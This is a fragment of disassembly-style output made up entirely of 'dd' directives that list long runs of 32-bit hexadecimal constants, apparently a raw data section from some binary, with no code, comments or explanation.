		dd 401AEA29h, 892C510Ch, 350036E1h, 0C1530978h,	0E90609EAh
		dd 33CC8DFCh, 0AC736723h, 0CC2054F6h, 0A0629639h, 9AD45592h
		dd 0CFD24B40h, 2A137B98h, 0A32E0B72h, 0F84D1F1h, 55243673h
		dd 7AEBCFF4h, 8AC772Ah,	16248AAAh, 0A904DF42h, 4416321Dh
		dd 0B18F7C36h, 0EF168976h, 0E39C2E9Eh, 2131B951h, 0B0491FE8h
		dd 7926171Bh, 0ED8404BCh, 12B909DFh, 9DECC0B7h,	1236791Eh
		dd 105FFD01h, 0B409232h, 38334859h, 0D063136h, 96BC97D0h
		dd 910BFE05h, 6912810h,	8DBE3D2Ch, 0FE29000Bh, 6EFD055Fh
		dd 1140A6Ch, 27072DF0h,	7B5AAA5Eh, 415456C2h, 1638A724h
		dd 8EE6BB51h, 0C85AA9D2h, 409EE9CAh, 0C1265921h, 0D31278EFh
		dd 0CDB056C4h, 0C7CEDCD5h, 60210103h, 19096CF5h, 1CE90CC0h
		dd 0EA62E81Bh, 598B4D48h, 37795A16h, 6AF9835Ah,	0E29E116Ch
		dd 0DF551EBEh, 0E9FE423Bh, 0C5966D08h, 5F241C5Ah, 0BFA10EC5h
		dd 31CF7828h, 0CD9E10B1h, 1464BB50h, 0F55AD028h, 5C19E9B0h
		dd 0A7205181h, 22614986h, 0FD64ED31h, 0C5118A90h, 5C59DB02h
		dd 5D84D949h, 1F0DA3E9h, 2B60F07h, 4A556841h, 6865E4E2h
		dd 20A69B51h, 24507CA4h, 3A901EFh, 0F288FC94h, 27C3EEBAh
		dd 756E59Fh, 8B8F5E7Ah,	0E9E89B1Bh, 0CBBA8494h,	344BB438h
		dd 10A491E6h, 21285C51h, 529910h, 3D136857h, 55F561Ch
		dd 6F06F781h, 0C7D28035h, 9581653h, 172D12F7h, 2781E364h
		dd 80001DEEh, 0EFE6F6F4h
		dd 0C70D6476h, 10E72861h, 586F0FD6h, 685BF820h,	0A49137CBh
		dd 0E91F83AEh, 35167018h, 8C4A0097h, 58C58984h,	7096CD31h
		dd 2D940569h, 12C277D9h, 25289160h, 299CFA91h, 971CA0A5h
		dd 0C012923Dh, 6B1CA70Fh, 0CCF4E949h, 1A329899h, 80E34052h
		dd 0A831B15Fh, 43124D62h, 565D5482h, 57C683C0h,	0E92CC104h
		dd 0F0F45E1Dh, 0BE171E86h, 179BD910h, 0FE816028h, 0F380CB01h
		dd 4EBC0A7h, 50B00840h,	81F2468h, 48B3636Dh, 22A6CBF3h
		dd 5C470D48h, 555B1D3Eh, 0EE0CFCCh, 13E758C1h, 0DA07EF14h
		dd 1C242104h, 9D8453h, 36ACEBE9h, 293C3C35h, 8C328F3h
		dd 2FB814B0h, 7275515Ah, 1B8C187h, 5E2C7D68h, 4E736C43h
		dd 68E9DF0Eh, 0B3A92248h, 0C91A16FFh, 10F62193h, 788968F9h
		dd 6B8225C4h, 0D73D8714h, 0B8803CC0h, 0C3FC813h, 0C832A309h
		dd 4201162h, 0EF818299h, 4CD480A8h, 0E926C729h,	0E6ABFEDBh
		dd 88AF3027h, 5883B21Eh, 65187E01h, 0F7BF8326h,	47763774h
		dd 11545AC5h, 39104683h, 0CB568FB7h, 1334EE24h,	5F2085EAh
		dd 5FD99D64h, 825753CAh, 31622121h, 493420C4h, 61C0C78Ch
		dd 444B368h, 0D5E9667Ch, 0C2090058h, 5F87E2D1h,	0AD2477h
		dd 0E068528Ah, 780DCE40h, 3006B2E9h, 0E3A7C428h, 965BE3E0h
		dd 0C1A41775h, 384C4FADh, 78EDE879h, 541A926Bh,	48DF5918h
		dd 88DA16FBh, 3490591Ch, 4B4EE37Ch, 0B151DD01h,	0DA30C030h
		dd 0EF17886h, 0D5F6F588h, 1459EE86h, 52061EC5h,	2C845E2h
		dd 8B9477A8h, 3C41B220h, 522ED627h, 37D0206h, 744078F0h
		dd 0DD30C222h, 425BA454h, 60D269F7h, 45D74B80h,	0F68F8E9h
		dd 594492A7h, 1108A2D5h, 580A2662h, 0BB8083CAh,	3A2904C2h
		dd 80DBF771h, 99941349h, 0C3319A17h, 3BC0A811h,	0FC91CA30h
		dd 583303AAh, 55F42678h, 0F444692Dh, 5FCA4E20h,	0EC006359h
		dd 8591E2B4h, 1BA0D2E9h, 5C80F45Bh, 82B5525Ah, 0F0584B8Ah
		dd 0A23C8B26h, 634CA4Eh, 53A162Fh, 0E91C6F09h, 684C90C3h
		dd 363D45C0h, 8B532D0Bh, 7B81B05Dh, 0E782826Dh,	9FDA3260h
		dd 0B6525000h, 8009B4A9h, 759670C4h, 16EC75F4h,	5645E95Ah
		dd 13EE8B20h, 0B9348DA6h, 0E47F500h, 5ED14EA3h,	0E91303EBh
		dd 260E1FF2h, 47531105h, 8C53353Eh, 0FAF3AF50h,	7CAC48C9h
		dd 0A35EAD65h, 837E94F7h, 0A47DE958h, 8E4813A3h, 80785600h
		dd 76FA2D25h, 8064B53Ah, 33A33C83h, 0A305C829h,	1104AD07h
		dd 0BDA14CE9h, 1CCE314Dh, 4EBB3B90h, 9820E90Eh,	161CEB1Dh
		dd 44338E7Dh, 7566D72h,	0E827C831h, 1308C546h, 0C9487B68h
		dd 6B3EE0A0h, 184B9A9Eh, 8067A295h, 72FB335Dh, 0CA0D6B93h
		dd 0E99302FEh, 0BB4CD06Ch, 885E0995h, 5BCF8EA2h, 6D80D979h
		dd 0B93E5139h, 290BC06Fh, 0CA015DE9h, 3C56594Eh, 90AB860Bh
		dd 80C8D1CDh, 41499468h, 10E4106Fh, 0CB01DB45h,	687BCFh
		dd 0B115AC4h, 0BFD48259h, 93BA003Eh, 304C7618h,	752A0126h
		dd 0FEE94072h, 0C52C596Dh, 8C8621E0h, 587EF86Bh, 8EBC112h
		dd 9BA2F10h, 507179BFh,	50990F6Ah, 0F3805629h, 278B1858h
		dd 8A01534Eh, 38E70502h, 7039E75h, 0E9D7B05Bh, 90099AABh
		dd 81DD4D83h, 0F328257Eh, 5F71AE22h, 58546CA2h,	0E1A04E46h
		dd 49236BDh, 5EB4F705h,	0F6833061h, 0DFDFC302h,	5B40835Fh
		dd 0FBE7B00Bh, 73883709h, 0F4D40018h, 0F9602928h, 569FE19Eh
		dd 49E9E213h, 312D4512h, 48450CAFh, 50A24787h, 17D600Dh
		dd 293F5AD3h, 89398FBh,	1E77C189h, 0C9B01055h, 0B462F5Bh
		dd 3DC2E8F1h, 394B7DB6h, 0C3E15B0Fh, 41550742h,	203093AEh
		dd 1DA89810h, 812D5B26h, 6C2B040Dh, 6EC1C405h, 19EC1A79h
		dd 72594702h, 89FAE8E9h, 521FB1ACh, 974CEB4Ch, 8FB97100h
		dd 6D3D2F2Eh, 7B108781h, 0A8553912h, 43BB7CD0h,	7DCC3F48h
		dd 929642A6h, 56AB605Dh, 0BF095751h, 88ED2A18h,	0C181A76Dh
		dd 2CDA5848h, 0CF07E9D4h, 0C9800606h, 343724EEh, 410324C2h
		dd 5AA5E2C8h, 46CF204Bh, 88AA4E98h, 4B376F82h, 5B4417F1h
		dd 4E6626A4h, 5F350330h, 0C1E19D75h, 0E177B9E1h, 0C8A22218h
		dd 94CBDF70h, 8163C299h, 32C2C209h, 0FB70DAC0h,	29870ACh
		dd 70B734Dh, 58D27FD2h,	388050A0h, 0F1260EF6h, 275C08DDh
		dd 0A18A4A3Bh, 607C367Fh, 1869A0CFh, 857B6871h,	37872E46h
		dd 0EA78A621h, 0D95D64CDh, 0D92DB03Ah, 997239E9h, 6887040Fh
		dd 7809E345h, 4B130C26h, 0B00DF68h, 0C17ADC21h,	760648E7h
		dd 6CB00C27h, 4282165Eh, 3B65F03Eh, 1C97F589h, 7A929129h
		dd 5F37E073h, 65A492BEh, 70C8BE09h, 4B4327EBh, 0D4302646h
		dd 58C2FB2Ch, 596F2668h, 11C6C997h, 9A1DD309h, 6BF4002Dh
		dd 0A140B127h, 0A7E8D0C9h, 3DF6F82Eh, 47243430h, 278510E0h
		dd 9AE20B5Eh, 541162E0h, 1E19646h, 9473D49Dh, 0A45B7145h
		dd 2127504h, 136B0502h,	0C8666355h, 4C463A21h, 0C076F05Dh
		dd 55C5EFF5h, 58B0757Ah, 4690F804h, 82900950h, 1376EDF1h
		dd 55137DFh, 8D6DBF56h,	14173262h, 27A8E5FCh, 62822964h
		dd 3F8808Eh, 32527F0Eh,	0D03FF2Dh, 787DF240h, 5F7F43F4h
		dd 0F7C7A6Fh, 1324720h,	801986Dh, 9F618358h, 0CBFA442Fh
		dd 0B753003Ah, 0F46CB6F2h, 74695F03h, 5D99009Bh, 414BD945h
		dd 295C16B8h, 0C88C138h, 82F05987h, 820792C5h, 0C999FBF9h
		dd 0CB04A34Ch, 2C38359h, 3C106DADh, 0B3B60739h,	3094F728h
		dd 3B16A7ACh, 148608C8h, 0A8995D96h, 4DA00615h,	0EE6559E9h
		dd 9B35E31h, 0E59ECC0h,	6805ED93h, 0AD831A5h, 0E50618ABh
		dd 56ED626Bh, 1A6D6007h, 0D20EE951h, 0C0C291D2h, 3B63F1A0h
		dd 23D4399h, 0A45A8165h, 0E3488949h, 65C40551h,	8C015461h
		dd 7212710Ch, 3DD45720h, 10973D6h, 3CB05EF3h, 0BFD20EE9h
		dd 0EFA08313h, 22BD1880h, 3D887883h, 0FC01B328h, 52307674h
		dd 19D10C14h, 487C7D4Ah, 84002D7h, 14BA5052h, 5130FD29h
		dd 3170404Eh, 125B1331h, 0D3EC49Dh, 0F30B98FEh,	347734D9h
		dd 6C1EEA70h, 0DA4C2FEh, 144BE42Ah, 50928061h, 1B19463Fh
		dd 0BA3C46FDh, 0C8F83202h, 5380D5EAh, 0E9D53125h, 84952D5Ch
		dd 10353F72h, 8B9FA9CBh, 7F4467D2h, 0E181FABAh,	0F796205Eh
		dd 0E92CFDFAh, 669F7B19h, 0C64142E8h, 0F2B1917Ch, 0D064280Ah
		dd 0CC41731Ah, 0D85A443Ah, 0CB5F1561h, 8200224Ch, 0E5860202h
		dd 0D908EA8Dh, 0C572BEEEh, 880E663Dh, 0EB6E53F4h, 845BDEA7h
		dd 0BDB1D4E5h, 0B65282EDh, 39457423h, 0EE9CFBB9h, 8B82671h
		dd 5A1F6FCCh, 0F94EF8Eh, 242E64CFh, 0BB6388B3h,	0FF00ED27h
		dd 280C77F5h, 73EB014Eh, 0EAFB7B5Dh, 9C4A0387h,	73E95F16h
		dd 9A53F94Fh, 5F90C1C8h, 4FCF4CC3h, 0A7B0B281h,	295AD027h
		dd 27846CA3h, 6CC42E74h, 68186DBAh, 99236B26h, 0F69ED2F4h
		dd 0D09A10CCh, 54D60119h, 0D29C0CEEh, 4B529E1Dh, 27109A8Bh
		dd 8C74501Bh, 906E6D59h, 3FE0939Ah, 8C434F21h, 0CBA99A7Bh
		dd 0A8507428h, 5EB86ABh, 3490B4Ch, 7F8747D4h, 5386E453h
		dd 20159832h, 0F1A2D92h, 0F10D3084h, 52594292h,	0C672087Eh
		dd 445A4BDAh, 0A5C8493h, 0C1019058h, 2C5B5490h,	12F4E1D8h
		dd 13415Eh, 0FC690DA0h,	0F8E3435Ch, 0ACFA5BC3h,	0CB3E0A76h
		dd 5B832C33h, 0CB4FE30Eh, 0EB9F805Eh, 120BB4F9h, 6D90142h
		dd 0CD7B45FFh, 0C605B290h, 297CBD5Ch, 81355D4h,	4249E821h
		dd 0F0AC7D42h, 0F7471CF4h
		dd 0E781CED7h, 0F1564B07h, 38F5E94Fh, 0D82812E8h, 4E809629h
		dd 1904FDB5h, 5F5EF6E9h, 0DACC1122h, 0E59A248Ah, 0F8005AEEh
		dd 0E9A3B450h, 2E12AA5Bh, 0F85C9DCCh, 5A6E5C81h, 99526981h
		dd 50BDEC91h, 8D16D3h, 424EB33Ch, 691FE9B1h, 0C0899674h
		dd 6837A1CEh, 0BAAF5B7Bh, 4A044A0Fh, 4143C97Fh,	0A576790Ah
		dd 42150273h, 0A6B28F12h, 131A2B7Bh, 0A05FFB29h, 1A2668CAh
		dd 6F791Dh, 7E034D64h, 0DEF71E5Eh, 40ED4050h, 0E9583E90h
		dd 0CD1D254Fh, 19EB3CB8h, 0C16F5D4Dh, 84E5D27Ch, 0C5E4F8B0h
		dd 76135DE9h, 14DDAAE1h, 9C705272h, 0C120BC46h,	0F4D594Ch
		dd 6AF030F9h, 0E2BDFC08h, 0B78CEBCh, 0CD81F005h, 0A86CE11Ah
		dd 0AC0CEB3Fh, 0C154D08h, 0EF313B57h, 0BA018BD8h, 0E9309A60h
		dd 4F0E3862h, 726F1C2h,	90F2AC28h, 1906953h, 7E486853h
		dd 6EF81AB4h, 0DD1DC425h, 4F2CBC5Bh, 22ADE23h, 2DBDB985h
		dd 0CA817954h, 7021700Ah, 980BE1FAh, 800D6071h,	5E369FE0h
		dd 0DB18C112h, 601C221Fh, 3D1897EAh, 20BE6D29h,	30D704D5h
		dd 0B85EF101h, 0B0384CA1h, 2C51A1B8h, 0C70B42h,	683142Ah
		dd 0A3B1D021h, 0F4244066h, 6508201Ch, 4456E912h, 11A03A97h
		dd 48577F8Fh, 5F0078F7h, 0F8BD5547h, 4648BA50h,	0F13C01CEh
		dd 0EF2904ADh, 585FF834h, 7C17DF31h, 559B2818h,	98BCFCF8h
		dd 0CCFDD828h, 0CC186313h, 2D3C31DFh, 48227928h, 6A50523Dh
		dd 68864094h, 18254E2Dh, 82211CE2h, 0F42EB5Eh, 4C01091Bh
		dd 0E08A38B5h, 0BC4B9BDh, 7DE0DD29h, 49602EACh,	33082761h
		dd 0B05D1308h, 0E1256839h, 166F450Dh, 0F5B205Bh, 974B68C8h
		dd 20B02514h, 88250064h, 0C1096A0Eh, 0F70007E0h, 40FA35D8h
		dd 3D016759h, 52DE9C3h,	0EA2D716Eh, 57BA225Dh, 1CE16622h
		dd 9A59669Dh, 8F821ED3h, 4F52CCDAh, 1BFCC701h, 575A01AFh
		dd 125F5442h, 945E2BDCh, 0EEADC25Dh, 7C894EEAh,	0C6802D58h
		dd 0F0BC4952h, 19FC8BEBh, 0E8010C6Fh, 58624852h, 9CEF1148h
		dd 5FC9BF96h, 68BD40F6h, 5081BEDCh, 55459C8h, 0F341964Ch
		dd 46108B3Ch, 2D214C53h, 0E57BC9E7h, 933DB8F5h,	0A3A2EB27h
		dd 4D79535Fh, 231EEC0Ch, 3D3C90C2h, 0BEAF3C3Eh,	1429AB02h
		dd 33EA36E8h, 0A196AE04h, 9082D701h, 0F681946Eh, 0CA315BF0h
		dd 0FAD10EEh, 80D8B10Bh, 84CFD30Fh, 0B754E284h,	0F8984E84h
		dd 89D56271h, 9ADA5FF8h, 119949Dh, 2AEBB850h, 20F71271h
		dd 534E29E0h, 6BEC6641h, 47A4351Eh, 78231059h, 4834CAC5h
		dd 0FE8D92B9h, 58323F13h, 427E6A5Ch, 1B3BAAF7h,	78041A0Dh
		dd 0B674F2ECh, 39FA4911h, 89B7CFF8h, 4FCA1076h,	28048BF9h
		dd 509F2A67h, 9516FBBDh, 3234CD3Fh, 25C62DBEh, 70BDD9CBh
		dd 0C17C527Dh, 551F0D01h, 60FA8926h, 0E913D56Bh, 0DE5D7E6h
		dd 0A18160DDh, 7B54B568h, 3E61E97Ch, 56BF7930h,	98752525h
		dd 6FEB0BE9h, 2650372Dh, 982FDE25h, 4606179Ch, 0C27A0007h
		dd 34E8306Dh, 0F7F28703h, 5863E9D6h, 0C83C2665h, 96E0413Eh
		dd 68D830ACh, 30219126h, 0B50E986Bh, 0C580058Ch, 0C1EF88BCh
		dd 2EF9B2DAh, 75049507h, 1814F855h, 14B63353h, 0C1E9F8F0h
		dd 3E79139h, 53D7232Eh,	0E804C5D7h, 1FC810F9h, 4551B800h
		dd 0B12D1CFEh, 333B0C71h, 68C20048h, 0E8C144AFh, 0D8350308h
		dd 29505604h, 38882EDh,	0CCFE46E8h, 0C6EC8006h,	4E1AE628h
		dd 66F802C4h, 96E5525Ah, 0C03FB780h, 0E68006EFh, 0D7F6305Fh
		dd 0C7FEE00Ah, 0E902D0C1h, 0F024BE07h, 2C8B25EAh, 5D2C7B4Eh
		dd 0CC434F27h, 4F6CF10Ch, 6F2A0E82h, 0E282B13Fh, 6F63C8Bh
		dd 0A81171C9h, 93009F46h, 0ED1116BAh, 0D329071Fh, 182A200Ch
		dd 58E52888h, 256E7BC2h, 0E41A426Dh, 8151A2E2h,	0A1FD44A7h
		dd 21FCEA19h, 6C21FB39h, 83232E65h, 0A03A1921h,	0E68103BDh
		dd 4A777DA9h, 262240D9h, 4C585D4Eh, 9CCA5AADh, 0D62B915Bh
		dd 6D350060h, 4CE22D66h, 10007609h, 72F62DA8h, 0C68B4E9Bh
		dd 9929E42Bh, 52C625A1h, 5685BC91h, 99485E9h, 0AE01F8ADh
		dd 31093C05h, 613D61D3h, 1D95786Eh, 0ED3CB29h, 0BE66B041h
		dd 5D055CAh, 3D20782Dh,	0D3F6F001h, 6831430Fh, 9B101F79h
		dd 881D787Dh, 0EB2EFEF9h, 0D1D98F17h, 86C181E0h, 0A67FF20Bh
		dd 0C3C0E04Ah, 241E2F05h, 5B1B2DDBh, 3F00707Ch,	5E3B860Eh
		dd 94056068h, 0F196050h, 81000EADh, 513757CDh, 0CEDC12Dh
		dd 69B9E908h, 3C54D3C9h, 0E14059DDh, 1EB2E83h, 0AE80328h
		dd 0C0468FBh, 78C29164h, 4EEE0CA4h, 8416895Dh, 2A9FE9F1h
		dd 0E5C14D00h, 66496808h, 0AB4D7E34h, 73C7469Eh, 8702C116h
		dd 0FE3B8EF2h, 0BBF49162h, 24BCB666h, 0D9C8438Ah, 0E13528B7h
		dd 21980A80h, 0F7561394h, 5A6305DFh, 80BF847Fh,	0A2C91063h
		dd 0F8EBF6CBh, 8DB204D0h, 0F066D788h, 524C3F04h, 50F62AAAh
		dd 0ACFF54F2h, 0BD60F35Ch, 0AAD2601h, 538EE946h, 3018020Bh
		dd 22C05017h, 0EB381C1Dh, 5DC0CE4Dh, 5C4347E5h,	9A1134CCh
		dd 1DC30F33h, 29B9A3B7h, 3BE4EFDFh, 61DAFEB4h, 0A5EF2762h
		dd 305FC95Eh, 174A7246h, 0AE981424h, 6B5703B9h,	53BA7A38h
		dd 0CA310B12h, 0B5C4B1E2h, 6D2116D7h, 292ED821h, 18432EF7h
		dd 0F6BE5650h, 0F0890117h, 52F8015Eh, 6E49F968h, 130A5A37h
		dd 9216632Dh, 81660538h, 204D146Ah, 0D1FAFB93h,	0B801F29Ch
		dd 100E16A0h, 0BDC5B060h, 9F904509h, 0BF806DA3h, 18421F3Ah
		dd 5554C910h, 65848548h, 61B012F6h, 0D14FE102h,	491CE94Bh
		dd 333657D1h, 0CC4AA44Ch, 0FB2FE904h, 0F4BF6C0Fh, 0D13676Bh
		dd 0E0172C3h, 7E3C000h,	0F6CB1DFEh, 80133FDBh, 4BA204F3h
		dd 1000B44Ah, 0EA83ACA8h, 9998017Ch, 76C12Fh, 3E24ED66h
		dd 0E72B58D0h, 8021451h, 0C9BC15Ah, 5FF343Eh, 0A197E95Ch
		dd 0CB7838DEh, 3A3F9058h, 62B79E55h, 90909D9h, 3A5A542Bh
		dd 7B272FCCh, 0EFB10343h, 0FBEFC81h, 89349817h,	47E90D03h
		dd 91BC5FD8h, 44EC4F6h,	905F39D8h, 1E7002ACh, 16E937A6h
		dd 2058F549h, 17148554h, 2F521FBh, 3D6E3FB2h, 8D6D4001h
		dd 0D95C811Ch, 0BAE9502Eh, 0D7281217h, 0F1988795h, 1BEAE32Ch
		dd 1956F680h, 3F317751h, 0F0195EF3h, 605B1CB9h,	0E3E02ECEh
		dd 59AE1290h, 5150DA80h, 0C01DB50Fh, 0ED8082E5h, 2010CEFAh
		dd 769835C4h, 1CD1DDA0h, 0D47EAD24h, 154DA502h,	632FC10Dh
		dd 132157CCh, 50EC27E9h, 68038638h, 45FE0BB0h, 6E1982E9h
		dd 23FF2222h, 0AF34F362h, 2AF9C001h, 0CFBB53A5h, 0FA494F5Eh
		dd 84ADF98Fh, 0D0732AE9h, 0A5F581B1h, 505D4518h, 0E015B90Ch
		dd 22D384Ah, 105A187h, 1F073AE8h, 3952405Dh, 67E974BFh
		dd 9300765Dh, 130C4A0Dh, 2734452Dh, 2B3A86Dh, 5EA37944h
		dd 10A625Bh, 0EF7CE907h, 8D20914Dh, 149B9DDCh, 10DEEECBh
		dd 0B00F1695h, 0AACD83E4h, 425BF617h, 32553078h, 5AD25E19h
		dd 4152BB7Eh, 313E1EFAh, 11322AEh, 0C22AEEC0h, 0ED1484Fh
		dd 6F9A0EA9h, 0A578AF75h, 5ACD37C6h, 0EAFDB0Dh,	289328Ah
		dd 1D5704Eh, 464BF41h, 43D078B8h, 323D9710h, 615B16FFh
		dd 0B286055h, 2DE5800Fh, 33786409h, 0A5C9FE2Ch,	53503B10h
		dd 367C0065h, 7D2FB831h, 292E7998h, 0B05B0AE8h,	287CD5EEh
		dd 2A459F5h, 3449B951h,	31E0326Ah, 0BE260C06h, 0A5380A25h
		dd 5588E27Fh, 84FE2F94h, 0B6DD175Ah, 8482D3Fh, 869783FAh
		dd 0F74AD98h, 479D6CAEh
		dd 0A4DB9E85h, 3E7420F3h, 0C11E5F76h, 579F02E7h, 0B187DE3Fh
		dd 823146CCh, 32902750h, 1CC14A53h, 4C260168h, 7E4CE961h
		dd 4229C36h, 850CB090h,	904C3332h, 0E67A14B2h, 0FD2CF244h
		dd 91066FF2h, 0EF023360h, 0C2F0A212h, 608B6221h, 4C1BE9DFh
		dd 0AC865F17h, 78993CB7h, 8BC30140h, 9FE8920Bh,	8376FB94h
		dd 304B259Eh, 2CE9577Fh, 0EBC8DEB3h, 7174A5A6h,	0A550FD3Bh
		dd 692ED266h, 0E5C1968h, 422F026Bh, 0B3C00E02h,	52EB80B1h
		dd 0C48606CFh, 0F7990EE1h, 37A49D38h, 532A8F09h, 4379009Eh
		dd 7DBB4DDFh, 0FF40BD7h, 0D0BC5C92h, 225BAD0h, 3A40236Eh
		dd 8AEB6328h, 0C3A1594Bh, 824AF9E1h, 3AB725D1h,	4BD8E195h
		dd 0F2A5402Bh, 499B5FF1h, 0F8D0013Eh, 4C306295h, 0EB833B21h
		dd 0DEB6277Eh, 68131AE6h, 56D27E8Ah, 4B21FA0Ch,	285B22EEh
		dd 0F4C2D0DEh, 0B0AEE65Eh, 78BA81FDh, 10ECE3ADh, 0C5CD8E27h
		dd 222C0FA6h, 35706DCBh, 1472958h, 54788B8h, 59E2011Ah
		dd 8CE984B4h, 0D341AABAh, 2FD3530Ah, 0BA63DFECh, 5B3F007Ah
		dd 0E1B85834h, 5419CE37h, 5FB7F831h, 0E20D3D48h, 7967002h
		dd 6F32E82Dh, 6198503Ah, 0E934774Fh, 0B12BCAh, 80134E3Ah
		dd 0E661AF8Eh, 0E3CEFE0Dh, 63F9593h, 0B6F6074Dh, 6E20D804h
		dd 0E92CF028h, 0FACA41CAh, 501FF938h, 31E3988h,	0C075CD58h
		dd 0DCE8C116h, 0ECBB8D0h, 4EC8025Ch, 8101C108h,	0BA59072Ah
		dd 5E69C1C9h, 0ABC3A068h, 0EAF6AE20h, 0E2B54AF8h, 885C0B2Eh
		dd 0DEF842D3h, 5B4C5206h, 31B5C4Ch, 0EE68525Bh,	0F459273Ah
		dd 0D8F849A5h, 57000D68h, 2515A440h, 0E44B44D7h, 0C1E039D1h
		dd 0D6E9081Eh, 62469113h, 0ED5BE12Ch, 2FCCDA99h, 0BC788D20h
		dd 4A482D3Dh, 17C20830h, 0D45659CEh, 3007CD99h,	849DC99Dh
		dd 0CA8F89BFh, 2040BD1Ch, 19E95212h, 5EBE22F0h,	68FB805Ch
		dd 67B1208Ch, 0DC45F796h, 0C98CE5EEh, 68550250h, 47DE26E7h
		dd 9DD11BC2h, 0E2BF57E0h, 0E8454E31h, 0DDE3146h, 0F12DF729h
		dd 31057510h, 0D403681h, 0C40128E8h, 91BDFFBh, 7CBE44BBh
		dd 313425DDh, 0CD8832F1h, 0E8E9234Fh, 0B4EF43B3h, 515FD01Dh
		dd 0B14CBED7h, 405C1154h, 100F35DFh, 4B121473h,	546FA6A3h
		dd 55FA8AF1h, 66B67C80h, 918B64B1h, 5C6D0D35h, 8378F2D3h
		dd 257FBE9h, 354FBA10h,	0DBE066C5h, 493B34A4h, 4EEA0F40h
		dd 294260D2h, 2F315AD0h, 0A76358C6h, 69E9CA98h,	80175148h
		dd 0C1432505h, 1334EA5Dh, 96FFB7Ah, 0D4A712FAh,	6AF02B92h
		dd 135FE21Eh, 10DAF74Ch, 84FAA2F2h, 8000621Fh, 0ECC083F4h
		dd 2F205C90h, 0D1F63D15h, 80050078h, 0C3045EF1h, 283DE42Ch
		dd 3BA590C8h, 59CA3103h, 460D2F7h, 0D50FBB5Ch, 0C4016502h
		dd 0F1E3CD50h, 0BA46244Ch, 882826E0h, 2FEE8119h, 0E964A51Fh
		dd 0DCD50865h, 7C68E042h, 0DB946BE0h, 87C3399Dh, 1A6225AFh
		dd 2A2F7B61h, 2D7C99CAh, 411AD2C7h, 88109605h, 0B340D79Dh
		dd 5C5A0BB8h, 0F5417E3Ah, 0CB56CE01h, 963412Eh,	17E4AD4Fh
		dd 0AD2E4070h, 0BCD83124h, 68E08C09h, 7D60BB4Eh, 464E3CF8h
		dd 0B23CE02h, 95C066F3h, 0F7EC21CDh, 0E925FB90h, 0D8830903h
		dd 855E4E53h, 21F6CA0Ah, 43A0A7EAh, 28A63173h, 8139E927h
		dd 0FA305B77h, 67A861CEh, 0B1A5EAD9h, 8B6E94E2h, 0FD5D01EDh
		dd 94D09F3Ch, 60C680Bh,	36C8A9B0h, 8D4D1026h, 667C31C2h
		dd 175F6857h, 27EC4290h, 97525003h, 0EBD0BB84h,	996C6168h
		dd 6602AF67h, 57004A42h, 2D27F568h, 664072B5h, 0B22E141Bh
		dd 0BD01952Eh, 0E9EDA7ECh, 0F75F1FE3h, 0FDC141D1h, 3026A630h
		dd 1D188911h, 0A00C35BEh, 74330B12h, 898BCD01h,	0AA02EA89h
		dd 720B7557h, 454A2F8Eh, 4A8AD992h, 12F0A20Eh, 8C3B3C68h
		dd 1512C922h, 7301610Eh, 33DE0FB1h, 8115853Ah, 224A2B2h
		dd 0C0B8C204h, 9C797A4Dh, 515942D1h, 0EF608255h, 66560020h
		dd 417A03BEh, 7CC0CB71h, 51499CBFh, 0C14F0A31h,	38905E7h
		dd 4B506D33h, 5EB0C3Bh,	0FA0961CBh, 46C29800h, 13B10888h
		dd 0F25AD629h, 0F8B96811h, 0E8E2B212h, 0B310C495h, 0F5E2569h
		dd 460824DCh, 9E0B28EBh, 0BBBEE40h, 40A847B8h, 45125058h
		dd 6EBC60A1h, 90B0822Ah, 63424E47h, 0B1239AFh, 0C623FE5Ch
		dd 51990111h, 0E180DBB1h, 1E493098h, 8888DDB8h,	6851BBBEh
		dd 0D473FBBh, 1C398B5Eh, 0F5309D70h, 0CA94ECB7h, 2FBF444Ch
		dd 60454CC1h, 0B3905397h, 2C0786EBh, 128D7ED2h,	0BFF4CCBAh
		dd 9C3B5200h, 2EEF8111h, 6CA3047Dh, 0BE01C783h,	63B8C1Fh
		dd 6D0193Dh, 0E7280224h, 12E9A446h, 0F7060156h,	0F6843D3h
		dd 0F3C182B5h, 0F25106C9h, 1609DC88h, 9AB40053h, 0C1235D10h
		dd 4E07E600h, 7AC0EE81h, 0C3B601Dh, 4CA47178h, 8904894Fh
		dd 0F02BBD0h, 7F508385h, 1EDC6812h, 0E98B628Ch,	12D4216Ah
		dd 3D2D0064h, 2A57296Fh, 565B6292h, 2AB77341h, 60ABF384h
		dd 0B05066D1h, 0C720E713h, 5352B801h, 43B12B3h,	0B0FEE9C7h
		dd 0A80F2DF6h, 4970561Ah, 0ABF29E7h, 0A080791h,	0FE010FB1h
		dd 26214E9h, 1FE41852h,	535D80h, 0A438E8BBh, 7EBC15Ah
		dd 9E38102h, 79269D0Bh,	12836AAAh, 5AE0ED5Bh, 2541F504h
		dd 0E9A321EBh, 0C7136E87h, 91BBADF0h, 0C8223A52h, 0DD887799h
		dd 47B91D03h, 0A579FB7Fh, 8BF05238h, 0F4267FA3h, 9690538h
		dd 0AC076F98h, 0E6111266h, 0D14C17F6h, 17ED939Dh, 58AE052Bh
		dd 0D7CC8489h, 82D56568h, 0E4E63E50h, 0F3B85000h, 0BD697C27h
		dd 8B0B17DCh, 3B2D0862h, 6A045916h, 0C913B8ADh,	2B2E312Ch
		dd 0ADD2CF73h, 0B02E9144h, 0D7BD6518h, 7F203E13h, 0DD5930Ch
		dd 3A24EB31h, 54D59E57h, 8627E398h, 41419364h, 873B124Ch
		dd 8ECBB55Eh, 0CCCE5A9Bh, 2C597856h, 0ECF12184h, 0C816D34Bh
		dd 824BEFF0h, 82A805Dh,	52066A77h, 0B615895Dh, 844A4F4Bh
		dd 1693E6A3h, 2641D5D8h, 2732DC2Dh, 0EFC83160h,	0EB4C6E73h
		dd 27F1C49Ah, 0E64A89ADh, 81E912F6h, 0BEE7884Ch, 0E35016ABh
		dd 0A8B631FEh, 0A9135316h, 54544F82h, 0E25BC778h, 2696325Eh
		dd 0A2572BBDh, 6C3F84E9h, 46374C80h, 0FCBA0B07h, 31C54E4Fh
		dd 0D0EFC2FAh, 891F5972h, 0F743517Bh, 0F95546DEh, 4A2A30C5h
		dd 0AD8CCEABh, 35DAC29Bh, 0D8589EC9h, 98BD4ACAh, 80147F5Eh
		dd 0C2C95431h, 0DC99845Ah, 0C6B50E16h, 4E61525h, 9518DB0h
		dd 2FD3455Ch, 7CA28B29h, 9FF3667Dh, 9B5FC6ADh, 49ED8910h
		dd 133C5BD1h, 3BE4432Dh, 0E6531DF1h, 0FEE18251h, 8605639h
		dd 6CB6BACBh, 622C69EFh, 0D9FD33FFh, 37222297h,	2D7CCD03h
